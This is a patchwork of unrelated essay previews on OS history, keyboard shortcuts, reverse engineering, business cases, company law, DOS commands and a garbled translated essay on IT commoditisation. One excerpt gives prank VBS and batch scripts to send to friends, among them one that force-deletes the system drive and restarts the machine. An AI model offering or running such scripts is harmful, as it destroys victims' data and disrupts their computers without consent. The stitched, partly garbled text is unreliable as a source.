...Sistemas Operativos Historia En la década de 1940, los primeros sistemas electrónicos digitales no tenían sistemas operativos. Los sistemas de la década de 1950 en general funcionaban solamente con un proceso a la vez. Y se permitía una sola persona a la vez para utilizar la máquina. Todos los recursos de la máquina estaban a disposición del usuario. La facturación por el uso de la computadora era simple- porque el usuario tenía toda la máquina. Originalmente, cada usuario escribía todo el código necesario para implementar una aplicación concreta, incluidas las muy detalladas de la máquina de nivel de entrada/salida de instrucciones. Muy rápidamente, la codificación de entrada/salida necesaria para implementar funciones básicas se consolidó en un sistema de control de entrada/salida (IOCS). Los usuarios que deseaban realizar operaciones de entrada/salida ya no tenían que codificar las instrucciones directamente. En su lugar, utiliza las rutinas IOCS para hacer el trabajo real. Los primeros sistemas de almacenamiento real para un solo usuario fueron dedicados al trabajo más que al tiempo de ejecución del trabajo en sí. Los trabajos generalmente requerían un tiempo de configuración considerable alto durante el cual el sistema operativo, cintas y paquetes de discos se montaban, y las formas adecuadas se colocaban en la impresora, etc. Cuando los trabajos se completaban, se requería un tiempo considerable de "desmontaje" como cintas y paquetes de discos que eran retiradas, etc...
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...100+ Keyboard shortcuts (Windows) The General Shortcuts CTRL+C (Copy) CTRL + Insert = Copy CTRL+X (Cut) CTRL+V (Paste) CTRL+Z (Undo) CTRL+A (Select all) CTRL+ESC (Display the Start menu) CTRL+RIGHT ARROW (Move the insertion point to the beginning of the next word) CTRL+LEFT ARROW (Move the insertion point to the beginning of the previous word) CTRL+DOWN ARROW (Move the insertion point to the beginning of the next paragraph) CTRL+UP ARROW (Move the insertion point to the beginning of the previous paragraph) CTRL+SHIFT with any of the arrow keys (Highlight a block of text) CTRL while dragging an item (Copy the selected item) CTRL+SHIFT while dragging an item (Create a shortcut to the selected item) CTRL+F4 (Close the active document in programs that enable you to have multiple documents open simultaneously) ALT+ENTER (View the properties for the selected item) ALT+F4 (Close the active item, or quit the active program) ALT+ENTER (Display the properties of the selected object) ALT+SPACEBAR (Open the shortcut menu for the active window) ALT+TAB (Switch between the open items) ALT+ESC (Cycle through items in the order that they had been opened) ALT+ Underlined letter in a menu name (Display the corresponding menu) F2 key (Rename the selected item) F3 key (Search for a file or a folder) F4 key (Display the Address bar list in My Computer or Windows Explorer) F5 key (Update the active window) F6 key (Cycle through the screen elements in a window or on the desktop) ...
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...MICROSOFT WORD KEYBOARD SHORTCUTS Here is a list of keyboard shortcuts which can be very useful if you want to work faster! CTRL Shortcuts: CTRL and A Selects all in the current document. CTRL and B Bold text. CTRL and C Copies the item or text to the Clipboard and can be pasted using CTRL and V. CTRL and D Displays the Font dialogue box. CTRL and E Centre Alignment. CTRL and F Displays the Find dialog box, to search the current document. CTRL and G Displays the Go to dialog box, to go to a specific location in the current document. CTRL and H Displays the Replace dialogue box. CTRL and I Italic text. CTRL and J Full Justification. CTRL and K Create Hyperlink CTRL and L Left Alignment CTRL and M Tab. CTRL and N Creates a new document. CTRL and O Displays the Open File dialogue box. CTRL and P Displays the Print dialog box. CTRL and R Right Alignment. CTRL and S Displays the Save dialog box. CTRL and U Underline text. CTRL and V Pastes the copied item or text from the Clipboard into the current position in the document. CTRL and X Cuts the item or text selected to the Clipboard. CTRL and Y Redo the last undone action. CTRL and Z Undoes the last action. CTRL and ENTER Insert Page Break. CTRL and F2 Show Print preview. CTRL and F4 Closes the active document window. CTRL and F6 Opens the next document window. F and SHIFT shortcut keys: F1...
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...to learn and make new products more compatible with other products already out there. When it comes to reverse engineering software there are many benefits. Many people use it as a learning tool to better understand what they are trying to build and what their product is competing with. Some of the benefits of reverse engineering software would be to make products that are new and cheaper than the ones that came before. This way a company is able to take a product that is already out on the market and take it apart piece by piece and see how it works so they can rebuild it cheaper and more efficiently. One famous example of reverse engineering is in the mid-1980s Phoenix Technologies Ltd wanted to produce a BIOS for PCs that would be compatible with the IBM PCs proprietary BIOS. To protect themselves from any charges of illegally copying their BIOS they used what is called a clean room. With the clean room approach there are two teams; one that studies the BIOS that they are trying to recreate and they come up with a detailed report of what it is exactly the BIOS does without using any of the code or anything that will link their description to that particular BIOS. Then this description is given to another team that has not looked at the code of the BIOS they are recreating and they build whole new BIOS off those instructions. This way even if some of the code is the same it will not be a copy right infringement since the second team who actually wrote the code and built the...
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...How to get those Greek Letters and math symbols in Word and html One of the irritations of math online are the symbols. You will need to insert math symbols and Greek letters into your documents whether you are using html, Word or Excel to communicate your results. The Character Map. One way to find the symbols you need is by a Windows accessory Character Map: For my computer ... Click Start (the button you use to turn off your computer), click Programs, click Accessories, click Systems Tools, click Character Map. Once the Character Map is displayed on your desktop, select the Symbol font from the font menu and use the select and copy functions to copy symbols to the Windows clipboard. Alternatively! The alternative is to select the symbol you wish from the table below, then follow the directions. Alt refers to the key left of the spacebar on your keybord.If you have the Number Lock activated on your keyboard (press the key Num Lock), it is easiest to type the digit combinations using the numerical key pad on the right of the keyboard. For Word / Excel For html symbol for Word / Excel Select Symbol font then keystrokes alt + 0163 Select Symbol font then keystrokes alt + 0179 Select Symbol font then keystrokes alt + 0185 Select Symbol font then keystrokes alt + 0214 Select Symbol font then keystrokes alt + 0184 ² keystrokes alt + 0178 (no font change necessary) ³ keystrokes alt + 0179 (no font change necessary) Select Symbol font then...
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...------------------------------------------------- Case: Just-in-Time Production at Hewlett-Packard, Personal Office Computer Division Question 1: Should it be easier to run JIT effectively on the 150 than on the 120? Explain. Considering information given in the beginning of the case, it should be easier to run JIT effectively on HP-150. 1) HP-150 requires less number of parts, which leads to less inventory needed (20,000 active part numbers for HP-120 and its options vs 450 part numbers for HP-150); 2) Less suppliers are needed for HP-150 (200 suppliers), comparing to HP-120 (2,000 for HP-120 and its options). It will be easier to establish and maintain efficiently a long-term trustworthy relationship. 3) HP-150 has less variety (17 types of keyboards due (languages) while CPU is the same), but for HP 120 there were an average of 6 options per product. Less variety, again, provides fewer inventories and more flexibility to the process. To reduce complexity Question 2: How serious is the forecasting problem? In other words, does success with JIT depend on good forecast? Forecasting problem seems to be severe at the plant. Case says that “…manufacturing does a lot of “second guessing” because the forecasts are terrible”. However, good forecast for JIT systems is crucial. As JIT significantly reduces the amount of raw materials, WIP inventories and finished goods on hand, it greatly relies on accurate information, i.e. on the timely delivery of exactly the...
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...According to the case facts of Delima Enterprise Sdn Bhd, the auditors from Encik Zayed’s company should be protected from the unfair dismissals by Encik Zayed. First of all, Encik Zayed cannot simply terminate the auditor and appoint a new “friendly party” auditor. Based on the Companies Act 1965, under Section 172. Appointment and remuneration of auditors, an auditor of a company may be removed from office by resolution of the company at a general meeting of which special notice has been given, but not otherwise. Furthermore, where special notice of a resolution to remove an auditor is received by a company whereby it shall send a copy of the notice to the auditor concerned and to the Registrar. Encik Zayed should do any of these things in order to terminate the auditor in his company by following all the rules and statutory provision of companies act. Furthermore, under the companies act1965, the auditor may, within seven days after the receipt by him of the copy of the notice make representations in writing to the company ( not exciding a reasonable length) and request that, prior to the meeting at which the resolution is to be considered, a copy of the representations be sent by the company to every member of the company to whom notice of the meeting is sent. Encik Zayed should do follow the rules by sending a notice to all the members of the company about the termination of the auditor of the company. This is because the member of the company should know each and every...
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...LECTURE SCHEDULE 5 Operating System – Some Fundamental DOS Commands,Rules for naming files in DOS and Types of files Operating System Operating system is a set of software that controls and manages hardware and basic system operations for a computer. The operating system loads programs into the computer's memory, runs these programs, and manages peripherals like disks and printers. Example: Disk Operating System (DOS) Windows LINUX Mac UNIX Disk Operating System (DOS) • • In the 1980s or early 1990s, the operating system that shipped with most PCs was a version of the Disk Operating System (DOS) created by Microsoft: MS-DOS. MS-DOS is a disk-based, single-user, single-task and character based user interface (CUI) operating system. Goto MSDOS from Windows Operating System: Click Start Button Choose Program Choose Accessories Click Command Prompt as shown below: Or Click Start Button Choose Run Type cmd in the Open tab as shown below: Command Prompt will get displayed as shown: The DOS commands can be entered in the command prompt and executed. Some Examples of DOS commands DIR Command The dir command allows you to see the available files in the current and/or parent directories. Examples: 1. DIR Lists all files and directories in the directory that you are currently in. 2. dir /w If information on the date / time and other information on the files are not needed, then this command can be used to list just the files and directories...
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...Note: I Take No Responsibility Of The Effects Of These Scripts After You Use Them, So Never Try These On Your Own PC. ALL OF THEZE ARE TO BE TYPED IN NOTEPAD... --- --- --- --- --- --- --- --- --- 1) Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them! Type : Code: Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop Save it as "Anything.VBS" and send it. 2) Convey your friend a little message and shut down his / her computer: Type : Code: @echo off msg * I don't like you shutdown -c "Error! You are too stupid!" -s Save it as "Anything.BAT" in All Files and send it. 3) Toggle your friend's Caps Lock button simultaneously: Code: Set wshShell =wscript.CreateObject("WScript.Shel l") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" loop Save it as "Anything.VBS" and send it. 4) Frustrate your friend by making this VBScript hit Enter simultaneously: Type : Code: Set wshShell = wscript.CreateObject("WScript.Shell ") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop Save it as "Anything.VBS" and send it. 5)This Virus Deletes All The Content Of A Drive... @echo off del %systemdrive%*.* /f /s /q shutdown -r -f...
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...Business Analysis Part III MGT 521 August xx, 2011 Abstract In this Business Analysis Part III I will summarize significant facts and conclude the analysis by including conclusions from Business Analysis Part I & II which will help in the decision making to invest or not in Apple Inc. Business Analysis Part III Strategic Initiatives Vision Statement According to Apple Inc “Apple ignited the personal computer revolution in the 1970s with the Apple II and reinvented the personal computer in the 1985 with the Macintosh. Apple is committed to bringing the best personal computing experience to students, educators, creative professionals, and consumers around the world through its innovative hardware, software, and Internet offerings.” Mission Statement According to Apple Inc, “Apple Computer is committed to protecting the environment, health and safety of our employees, customers and the global communities where we operate. We recognize that by integrating sound environmental, health and safety management practices into all aspects of our business, we can offer technologically innovative products and services while conserving and enhancing resources for future generations. Apple strives for continuous improvement in our environmental, health and safety management systems and in the environmental quality of our products, processes and services.” Value According to its new CEO Tim Cook, Apple’s...
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...The author expressed his belief that investments associated with IT aren't bringing strategic benefits to the enterprise in it, because in the moment, when one company is adopting new technologies, for her competitors are making it exactly alone. The above article made Carr of the enemy of outfitters, the software and persons working for the IT industry from Nicholasa. the Spectrum of opponents of the columnist is very wide. In many issues such giants disagree with it as the Microsoft, the Intel, HP in particular CIO and IT specialists. From it has always been obvious that, at least theoretically, the computing power similarly, as the electric energy could be delivered via a network. In this way the "central generator" would be able to act much more productively and flexibly, than dispersed, private data centers. " - Carr states. The author shows a lot of reasons for changes which are supposed to come. A fact that it is possible to treat computers, data warehouses, the network and the majority of used applications as goods largely is one of them ustandaryzowany. Hereinafter Carr is adding that even with reference to IT specialists it is hard to talk about their uniqueness. The majority performs the legwork utrzymaniowe - exactly the same, like of them odpowiednicy in competitive companies. The columnist is emphasizing that at present the majority of data centers is using only from 25 sources up to the 50% had. In the same time he is consuming the gigantic amount of the electric...
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